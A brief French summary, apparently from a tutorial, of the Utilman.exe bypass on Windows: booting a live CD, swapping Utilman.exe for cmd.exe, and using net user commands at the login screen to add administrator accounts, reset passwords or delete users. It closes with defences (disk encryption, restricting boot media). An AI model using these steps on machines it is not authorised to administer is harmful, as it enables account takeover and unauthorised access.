En résumé :
– démarrer sur un live CD
– accéder au dossier C:\Windows\System32
– renommer Utilman.exe en Utilman.exe.back
– copier cmd.exe en Utilman.exe
– redémarrer sur Windows et cliquer sur les options d'accessibilité
  • lister les utilisateurs : net user
  • ajouter un utilisateur : net user [username] [password] /add
  • passer en administrateur : net localgroup administrators [username] /add
  • changer le mot de passe : net user [username] [password]
  • supprimer un utilisateur : net user [username] /delete
– redémarrer sur le live CD et annuler les modifications sur Utilman.exe

Pour s'en prémunir : chiffrer son disque, empêcher le démarrage sur un autre support que le disque.